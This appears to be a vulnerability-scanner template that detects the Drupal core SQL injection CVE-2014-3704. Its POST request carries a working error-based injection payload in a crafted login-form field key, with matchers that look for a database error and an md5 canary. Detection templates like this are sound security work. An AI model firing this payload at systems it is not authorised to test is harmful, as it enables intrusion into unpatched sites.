id: CVE-2014-3704

info:
  name: Drupal SQL Injection
  author: princechaddha
  severity: high
  description: The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
  reference:
    - https://www.drupal.org/forum/newsletters/security-advisories-for-drupal-core/2014-10-15/sa-core-2014-005-drupal-core-sql
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3704
    - https://www.drupal.org/SA-CORE-2014-005
    - https://www.exploit-db.com/exploits/34984
    - https://www.exploit-db.com/exploits/34992
    - https://www.exploit-db.com/exploits/34993
    - https://www.exploit-db.com/exploits/35150
  remediation: Upgrade to Drupal core 7.32 or later.
  classification:
    cve-id: CVE-2014-3704
  tags: cve,cve2014,drupal,sqli

requests:
  - method: POST
    path:
      - "{{BaseURL}}/?q=node&destination=node"
    body: 'pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(1234567890)),1)%23]=bob&name[0]=a'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 500

      - type: word
        words:
          - "PDOException"
          - "e807f1fcf82d132f9bb018ca6738a19f"
        condition: and
        part: body

# Enhanced by mp on 2022/02/24